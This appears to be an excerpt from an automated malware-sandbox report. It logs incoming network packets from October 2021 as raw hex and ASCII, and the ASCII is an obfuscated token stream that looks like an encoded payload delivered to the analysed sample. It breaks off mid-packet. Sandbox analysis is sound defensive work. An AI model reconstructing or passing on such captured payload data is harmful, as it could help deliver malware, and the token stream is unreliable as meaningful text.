2021-10-29 18:29:21 UTC	1660	IN	Data Raw: 74 6b 20 6f 78 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 59 20 6b 51 20 4f 4f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 52 59 20 45 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4f 20 45 4f 20 45 45 20 4f 4f 4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45 20 59 59 20 45 51 20 6b Data Ascii: tk oxE kK OOK OOE RQ OOK Yx Kk oY kQ OOo OOY OOt Oxt Qt YY EE YK oxx ko ORK OOR OxQ OOk RY Ex Yx YK QK Oo OEQ OxQ OOo YK oO EO EE OOK Oo OKo OxQ OOo YK oxR Yo oEY kY OOK OOY Ex QY Yx Kk YR OQ oOo OKx OOt OxQ OOR oR YO Yx YK Oot oQ QY Oxk OOo Yo EE YY EQ k
2021-10-29 18:29:21 UTC	1661	IN	Data Raw: 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 74 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 51 20 59 45 20 45 78 20 4f 4f 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f 45 59 20 4f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20 4f 4f 4b 20 45 78 20 6f 4f 51 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 59 20 4f 78 6f 20 45 45 20 Data Ascii: OxQ Ooo RY k Yx YK QK Qx tR OxQ OOo YR YQ YE Ex OOx OOK OOt OxE QE YE YK RE oEY Oot OOY OOt OxQ OOK oR YR Yx YK ko OoR OOK Ex oOQ Yx Kk Yo Et kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo ooo OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk QE OEY kK OOK OOY tY Oxo EE
2021-10-29 18:29:21 UTC	1662	IN	Data Raw: 6f 20 59 78 20 4b 6b 20 59 6f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 59 20 4f 78 51 20 59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20 74 51 20 59 78 20 4b 6b 20 59 52 20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 4b 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 4b 20 52 51 20 74 4b 20 59 78 20 4b 6b 20 59 52 20 6f 74 20 6b 45 Data Ascii: o Yx Kk Yo YK kK OOK Ek Oxk OOo Yx OxY YO YK kK OOE OOt OxQ OOo RO Kk Yx YY tQ RR OOY OxQ Yo Kk Kk Yx YE kK OOK Oxx Ex tQ Yx Kk YR Rx kR OOO oKk YY OOo Yx KQ oE oEx OKx OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo oR Q Yx YK QK OoO OOK RQ tK Yx Kk YR ot kE
2021-10-29 18:29:21 UTC	1664	IN	Data Raw: 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4f 4b 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 74 6f 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 51 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 74 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f 59 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 52 20 6f 52 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f Data Ascii: OK OOK OOt Oxk kY ooR oOK Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot o to YO Kk Yo EQ kE QQ OOE OoK OOt KY RE OQO Oxk kK OOK OOR to ORx OYY Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ oOt OxQ OOo Yo YR oR Kk kK OOK OOY o
2021-10-29 18:29:21 UTC	1665	IN	Data Raw: 45 20 4b 4f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 45 6f 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 4f 51 20 45 59 20 59 59 20 4b 45 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 4f 59 51 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4f 20 4b 4f 20 52 51 20 4f 4f 74 20 4f 78 6b 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f Data Ascii: E KO Okt OK OOK OOt Oxk kY ooR OEo Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot OoR OOQ EY YY KE Okt OK OOK OOt Oxk kY ooR OYQ Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR KY OOo Yx Yk EO KO RQ OOt Oxk ooK Ko Yx Kk YO OQ OEo
2021-10-29 18:29:21 UTC	1666	IN	Data Raw: 59 20 59 59 20 4f 4b 20 52 51 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 78 78 20 45 45 20 59 4b 20 45 59 20 59 78 20 52 51 20 4f 4f 51 20 4f 78 52 20 4f 6f 78 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 59 74 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4f 20 6b 6b 20 59 6f 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 4f 20 4f 4f 51 20 4f 78 51 20 78 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 59 45 20 52 51 20 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 51 20 59 6b 20 45 45 20 59 6b 20 45 51 20 6b 78 20 51 51 20 4f Data Ascii: Y YY OK RQ OOY OOt OxQ Oxx EE YK EY Yx RQ OOQ OxR Oox oYE OxK Kk Yx YY OOE ORo OYt OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk QE OYK kK OOK OOY OxO kk Yo Kk Yx Kk Ek O OOQ OxQ x tR KR Yx YK QK oQ OxR OxQ OOo YR EY YE RQ OR OOY OOt Oxt QQ Yk EE Yk EQ kx QQ O
2021-10-29 18:29:21 UTC	1668	IN	Data Raw: 45 20 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4b 20 52 20 4f 20 4b 6f 20 4b 6b 20 45 45 20 59 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4b 59 20 4f 20 4f 20 59 74 20 6b 74 20 51 78 20 52 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 6f 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 78 45 20 51 4f 20 52 78 20 59 78 20 45 52 20 45 4b 20 4f 6f 4b 20 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 51 45 20 4f 4f 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 45 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 52 20 6b 52 20 4f 4f 4b 20 6b 6f 20 4f 78 51 20 Data Ascii: E Ot kK OOK Oot OOK R O Ko Kk EE YQ kY OOt OxQ Ooo KY O O Yt kt Qx Ro OxQ OOo YR Yx oR Kx kK OOK OOY OxE QO Rx Yx ER EK OoK kK OOt OxQ OOk QE OO Yx YK QK Oox OtO OOx kR oER Kk Yo ok kY Qk OOt OxQ OOo Yx YK Yx E OOO OOK OOk Qk OOo Yx KQ EE R kR OOK ko OxQ
2021-10-29 18:29:21 UTC	1669	IN	Data Raw: 4f 4f 52 20 51 45 20 4f 78 4f 20 4f 4f 6f 20 59 78 20 6f 74 20 51 45 20 6f 4b 6b 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 6f 20 4f 52 4f 20 59 4f 20 4b 6b 20 59 6f 20 52 78 20 4f 45 6b 20 4f 4f 45 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 6f 45 52 20 59 4f 20 6f 78 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 45 20 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 74 20 4b 51 20 59 78 20 59 4b 20 74 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6b 45 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 4f 20 59 4b 20 6b 4b 20 51 78 20 4f 4f 52 20 4f 78 51 Data Ascii: OOR QE OxO OOo Yx ot QE oKk kY OOK OOY o ORO YO Kk Yo Rx OEk OOE kE OtQ OOo oER YO ox oEo kK OOR QY OxQ OOo Yx OOE R YK kK OOK OOt OxQ OOo Yt KQ Yx YK tR OOK OOt OxQ kE YO Kk Yx YE kK OOK OOt Qk OOo Yx KQ Yx YK kK OOK OoO OxQ OOo Yx KK YO YK kK Qx OOR OxQ
2021-10-29 18:29:21 UTC	1670	IN	Data Raw: 4b 20 59 78 20 4f 6f 52 20 4b 78 20 4f 4f 4b 20 51 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f 4b 20 6f 4b 51 20 6f 59 59 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 59 20 4f 4f 6f 20 4f 4f 4b 20 4b 51 20 59 78 20 59 4b 20 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 6f 4f 20 4b 51 20 59 78 20 4b 6b 20 51 4b 20 4f 4f 6f 20 6f 52 20 59 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 78 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 6f 20 74 6f 20 4f 4b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 45 20 6f 51 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 6f 4f 20 4f 78 4f 20 45 4f 20 4f 4f 78 20 4b 6b 20 59 78 20 52 78 20 45 6b Data Ascii: K Yx OoR Kx OOK Qt OxQ OOo Yx Kk Yx YK ko OOK oKQ oYY OOo KQ Yk Yx YK kY OxY RQ OxY OOo OOK KQ Yx YK QY OOK OOt OoK E OoO KQ Yx Kk QK OOo oR Yo OOo Yx Yk QE OxQ kK OOK Oot Oxo to OKY Kk Yx YK kE oQ Ooo OxQ OOo YR Rk Et YK kK OOY OoO OxO EO OOx Kk Yx Rx Ek
2021-10-29 18:29:21 UTC	1672	IN	Data Raw: 20 4f 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 45 59 20 52 74 20 4b 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 4f 4f 4f 20 4f 4b 20 4b 6b 20 4b 51 20 59 78 20 59 78 20 4f 4f 45 20 51 59 20 51 6b 20 74 59 20 4f 4b 20 59 4f 20 4b 51 20 59 78 20 59 78 20 4f 74 78 20 4f 4f 52 20 4f 59 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 52 74 20 4b 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 78 20 6f 45 74 20 4f 4f 4b 20 59 4f 20 4b 6b 20 59 4b 20 45 78 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 45 4f 20 4b 52 20 4b 6b 20 59 78 20 52 78 20 51 59 20 74 4b 20 52 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 59 20 51 45 20 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 4f 6f 78 20 4b 6f 20 45 51 20 45 74 20 4f 6b 74 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 Data Ascii: OOK OoO OxQ OOo EY Rt KE YK kK Oox Oot OOO OK Kk KQ Yx Yx OOE QY Qk tY OK YO KQ Yx Yx Otx OOR OYO Oxk OOo Yo Rt Kx YK kK Oox kx oEt OOK YO Kk YK Ex kY OOK OOt tx EO KR Kk Yx Rx QY tK RK Oxk OOo Yx YY QE KE kK OOK Oot Qt Oox Ko EQ Et Okt Oo OOK OOt Oxk kY
2021-10-29 18:29:21 UTC	1673	IN	Data Raw: 20 74 6f 20 4b 6b 20 59 78 20 59 4b 20 4f 45 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4b 78 20 59 4f 20 4b 6b 20 59 78 20 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 74 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 74 20 59 4f 20 59 4b 20 6b 4b 20 6f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 51 20 4b 6b 20 59 78 20 59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 78 20 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4b 6f 20 4f 4f 45 20 59 78 20 4b 6b 20 74 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59 Data Ascii: to Kk Yx YK OEk OOK OOt OxQ Kx YO Kk Yx YR kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK to OxQ OOo Yx ot YO YK kK oR OOR OxQ OOo KQ Kk Yx YK QK OOK OOt Oxk OOK Yx Kk Yx t kK OOK OOt Ko OOE Yx Kk tK YY kK OOK Oot OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yo Kk Yx Y
2021-10-29 18:29:21 UTC	1674	IN	Data Raw: 4f 51 74 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4b 51 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 6f 20 59 52 20 45 59 20 59 78 20 74 6b 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 59 6b 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6b 20 59 4f 20 59 4b 20 6b 6f 20 51 51 Data Ascii: OQt Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot RQ KQ Yx Kk YR kQ Qk OOY OOt Oxt Qt Yo YR EY Yx tk oYY Kt OxQ OOo YO oO ooR oxk kK OOK OOE RQ tO Yx Kk YR RQ Oxk OOK OOt OxE EO OYk Kk Yx Kk YQ tE OOt OxQ Ooo QE k YO YK ko QQ
2021-10-29 18:29:21 UTC	1676	IN	Data Raw: 4f 4f 6f 20 59 52 20 74 6b 20 4b 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 4f 4b 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4b 20 59 4b 20 6b 52 20 4f 78 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 74 59 20 4b 52 20 6f 45 6f 20 4f 6f 6f 20 45 4f 20 6b 59 20 4b 6b 20 59 78 20 52 78 20 51 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 74 20 4f 4f 78 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 4b 45 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 6f 20 59 6f 20 59 59 20 45 74 20 4f 74 6f 20 51 4b 20 6b 51 20 4f 4f 45 20 4f 78 52 20 4f 78 6f 20 4f 52 6b 20 59 6b 20 6f 45 52 20 Data Ascii: OOo YR tk KK YK kK Oox oR OOK OOo Yx Yk EK YK kR OxO oKk YY OOo Yx KQ oE Eo tY KR oEo Ooo EO kY Kk Yx Rx QY OOt OxQ oKt OOx OQO OxR Yx YK kY kt ORY oKE OOo Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Ex Q OOK OOt OxE Qo Yo YY Et Oto QK kQ OOE OxR Oxo ORk Yk oER
2021-10-29 18:29:21 UTC	1677	IN	Data Raw: 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 4f 52 6f 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 52 6b 20 4b 51 20 4f 4f 45 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 51 6f 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 59 74 20 45 51 20 51 4b 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 51 6f 20 45 51 20 51 59 20 51 78 20 74 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 51 20 6b 74 20 45 78 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 74 20 59 52 20 6f 4b 20 4f 6f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6f Data Ascii: Yx YK kY kt ORY ORo OOo Yx Yo oR O kK OOK Oot Ex to Yx Kk YR Rk KQ OOE OOt oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo QE Qo Yx YK QK oQ KE OxQ OOo YR EY Yt EQ QK Qx tE OxQ OOo YR oQ Qo EQ QY Qx tE OxQ OOo YR oQ kt Ex Yo OOK OOt OxE Qt YR oK OoO YK kK Oox oR Oo
2021-10-29 18:29:21 UTC	1678	IN	Data Raw: 59 20 4f 4f 74 20 4f 78 74 20 51 78 20 52 6b 20 59 78 20 6f 52 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 45 4f 20 6b 59 20 59 4b 20 4b 6b 20 52 52 20 45 78 20 4f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 59 52 20 4b 6b 20 59 78 20 6f 51 20 6b 74 20 4f 4f 6b 20 6f 52 20 4f 45 45 20 4f 4f 45 20 59 78 20 59 4b 20 6f 4b 20 59 4b 20 74 4f 20 52 52 20 4f 6f 52 20 4f 78 51 20 51 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 6b 20 45 51 20 4b 6b 20 59 78 20 4b 6b 20 45 6b 20 4b 59 20 4f 4f 45 20 4f 78 51 20 78 20 6f 52 20 6f 45 45 20 59 78 20 59 4b 20 6b 6f 20 51 78 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 59 4f 20 59 4b 20 59 4f 20 51 78 20 4f 4f 6b 20 4f 6f 45 20 4f 78 4b 20 4f 6f 52 20 59 6f 20 Data Ascii: Y OOt Oxt Qx Rk Yx oR EY kK OOK OOY EO kY YK Kk RR Ex OKO OOK OOt Oxt kk YR Kk Yx oQ kt OOk oR OEE OOE Yx YK oK YK tO RR OoR OxQ Qo Yx Kk Yx YK kK OOK OOt OOO kk EQ Kk Yx Kk Ek KY OOE OxQ x oR oEE Yx YK ko Qx OoR OxQ OOo oY YO YK YO Qx OOk OoE OxK OoR Yo
2021-10-29 18:29:21 UTC	1680	IN	Data Raw: 6f 78 20 4f 6b 6b 20 6b 51 20 4f 78 74 20 4f 6b 74 20 52 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 6f 59 20 59 45 20 59 59 20 4f 6b 6b 20 51 59 20 74 59 20 51 6b 20 4b 4b 20 4f 78 4f 20 4f 78 6f 20 4b 59 20 45 6f 20 6f 52 20 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 52 20 4f 78 6f 20 59 51 20 45 6b 20 59 45 20 4f 6b 4b 20 52 4f 20 4f 6f 6f 20 6f 59 4f 20 4b 20 4b 4f 20 6f 52 20 51 59 20 59 78 20 59 4b 20 51 4b 20 4f 20 4f 78 6f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4f 20 59 6f 20 45 4b 20 51 45 20 4f 6f 6f 20 6f 52 20 74 74 20 4f 4f 6f 20 59 78 20 59 4b 20 45 45 20 59 78 20 4f 45 6b 20 4f 4f 51 20 6b 45 20 4f 74 51 20 4f 4f 6f 20 45 6b 20 6f 52 20 45 59 20 59 78 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 Data Ascii: ox Okk kQ Oxt Okt Rx OOK OOt Oxk OoY YE YY Okk QY tY Qk KK OxO Oxo KY Eo oR kQ kK OOK Oot OxR Oxo YQ Ek YE OkK RO Ooo oYO K KO oR QY Yx YK QK O Oxo OxQ OOo Yo YO Yo EK QE Ooo oR tt OOo Yx YK EE Yx OEk OOQ kE OtQ OOo Ek oR EY Yx OoR OOK OOt Oxk QR Yx Kk Yx
2021-10-29 18:29:21 UTC	1681	IN	Data Raw: 4b 20 45 78 20 4b 6b 20 45 51 20 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 6f 20 6f 4b 20 74 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 4f 6f 20 6f 20 78 20 59 78 20 4b 6b 20 59 52 20 52 4f 20 6b 52 20 4f 4f 52 20 74 20 6f 4b 78 20 4f 4f 74 20 59 78 20 52 4b 20 59 45 20 4b 51 20 6f 4f 6b 20 6f 74 20 51 51 20 52 51 20 4f 78 74 20 59 78 20 4b 6b 20 59 6f 20 6f 52 20 6b 6f 20 4f 20 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 4b 20 59 6f 20 6f 6b 20 74 4f 20 52 52 20 4f 6f 74 20 4f 78 51 20 6f 4b 4f 20 59 78 20 4b 6b 20 59 78 20 45 59 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 59 20 52 4b 20 4f 45 59 20 59 59 20 59 4b 20 45 52 20 51 78 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 45 6b 20 6f 52 20 52 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 Data Ascii: K Ex Kk EQ E OOt OxQ Ooo to oK tO YK kK Oox OOo o x Yx Kk YR RO kR OOR t oKx OOt Yx RK YE KQ oOk ot QQ RQ Oxt Yx Kk Yo oR ko O K OxQ OOo YR tK Yo ok tO RR Oot OxQ oKO Yx Kk Yx EY kK OOK Oxx OOO OOY RK OEY YY YK ER Qx kO OxQ OOo Yo Ek oR RQ kK OOK Oot OxE
2021-10-29 18:29:21 UTC	1682	IN	Data Raw: 78 52 20 51 78 20 6f 6f 4b 20 6f 4b 20 6b 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 78 52 20 51 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4f 20 45 4f 20 52 52 20 4b 6b 20 59 78 20 52 78 20 6b 74 20 4f 4f 6b 20 51 45 20 74 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 6b 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 45 20 6b 4b 20 4f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 